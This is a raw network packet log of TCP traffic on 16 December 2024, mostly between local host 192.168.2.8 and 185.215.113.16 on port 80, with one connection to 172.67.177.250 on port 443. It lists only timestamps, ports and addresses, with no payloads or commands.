Dec 16, 2024 13:16:30.034018040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.034049988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.034068108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.037292957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.037306070 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.037338018 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.037358999 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.040654898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.040693045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.040718079 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.040733099 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.043493986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.043540001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.043623924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.043658972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.046686888 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.046740055 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.046778917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.046931028 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.049745083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.049791098 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.049827099 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.049859047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.052890062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.052952051 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.052968025 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.053004026 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.055922031 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.055968046 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.056034088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.056070089 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.059087992 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.059127092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.059161901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.059194088 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.062159061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.062211037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.062271118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.062309027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.065274954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.065313101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.065380096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.065417051 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.068423986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.068463087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.068501949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.068538904 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.071543932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.071624994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.071636915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.071671009 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.074652910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.074708939 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.074759007 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.074791908 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.077728033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.077785015 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.077831984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.077866077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.080888033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.080939054 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.080949068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.080984116 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.083956003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.083993912 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.084119081 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.084152937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.087061882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.087100983 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.087168932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.087201118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.090236902 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.090272903 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.090305090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.090338945 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.090843916 CET	49748	443	192.168.2.8	172.67.177.250
Dec 16, 2024 13:16:30.093348980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.093389988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.093413115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.093444109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.096390009 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.096434116 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.096467972 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.096508980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.099555016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.099602938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.099642038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.099679947 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.102610111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.102667093 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.102751017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.102864981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.106041908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.106081963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.106102943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.106136084 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.108952999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.108989000 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.109100103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.109132051 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.111977100 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.112018108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.112078905 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.112118006 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.115246058 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.115281105 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.115366936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.115401030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.118215084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.118254900 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.118287086 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.118328094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.121314049 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.121361017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.121397018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.121438026 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.124430895 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.124470949 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.124506950 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.124541998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.127526999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.127577066 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.127665043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.127701998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.130686998 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.130739927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.130749941 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.130781889 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.133781910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.133848906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.133913994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.133955002 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.136828899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.136873960 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.136956930 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.136996984 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.139950991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.140006065 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.140059948 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.140090942 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.143079042 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.143119097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.143244028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.143280029 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.146317959 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.146398067 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.203233957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.203291893 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.203335047 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.203371048 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.203963041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.204000950 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.204087973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.204127073 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.207329035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.207340002 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.207379103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.209367990 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.209379911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.209420919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.211821079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.211886883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.211982965 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.212032080 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.213951111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.214005947 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.214128971 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.214169025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.216526031 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.216536999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.216583014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.218683958 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.218723059 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.218877077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.218916893 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.221216917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.221227884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.221256971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.221275091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.223634005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.223675013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.223820925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.223862886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.225651979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.225661993 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.225704908 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.228049040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.228060007 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.228096008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.229891062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.229931116 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.230062962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.230103970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.232089996 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.232160091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.232280016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.232319117 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.234236956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.234278917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.234411001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.234451056 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.236418962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.236435890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.236473083 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.236493111 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.238413095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.238435030 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.238460064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.238476992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.241134882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.241183043 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.241740942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.241791010 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.243539095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.243554115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.243586063 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.243601084 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.244637012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.244648933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.244693995 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.244704962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.246471882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.246541023 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.246830940 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.246884108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.248445988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.248488903 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.248800039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.248842001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.250384092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.250421047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.250474930 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.250515938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.252366066 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.252409935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.252454042 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.252492905 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.254308939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.254369020 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.254395008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.254436970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.256248951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.256289005 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.256324053 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.256361008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.258177996 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.258235931 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.258308887 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.258349895 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.260694027 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.260740995 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.261501074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.261548042 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.262765884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.262778997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.262804031 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.262818098 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.264338970 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.264348984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.264383078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.264396906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.265512943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.265552998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.265650034 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.265682936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.266349077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.266386986 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.266494036 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.266526937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.267338991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.267380953 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.267515898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.267549992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.268383026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.268431902 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.268573046 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.268604994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.269443035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.269484997 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.269607067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.269637108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.270657063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.270689964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.270831108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.270909071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.271831989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.271867037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.272025108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.272058964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.272973061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.272990942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.273008108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.273022890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.274045944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.274084091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.274200916 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.274235964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.275229931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.275242090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.275278091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.276268005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.276303053 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.276439905 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.276478052 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.277337074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.277384996 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.277529001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.277566910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.278410912 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.278446913 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.278598070 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.278633118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.279671907 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.279690027 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.279723883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.279737949 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.280741930 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.280751944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.280780077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.280795097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.281829119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.281841040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.281864882 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.281878948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.282828093 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.282881021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.283005953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.283047915 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.283967018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.284009933 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.284137964 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.284178972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.285206079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.285248041 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.285403013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.285440922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.286681890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.286695004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.286729097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.287372112 CET	80	49746	185.215.113.16	192.168.2.8
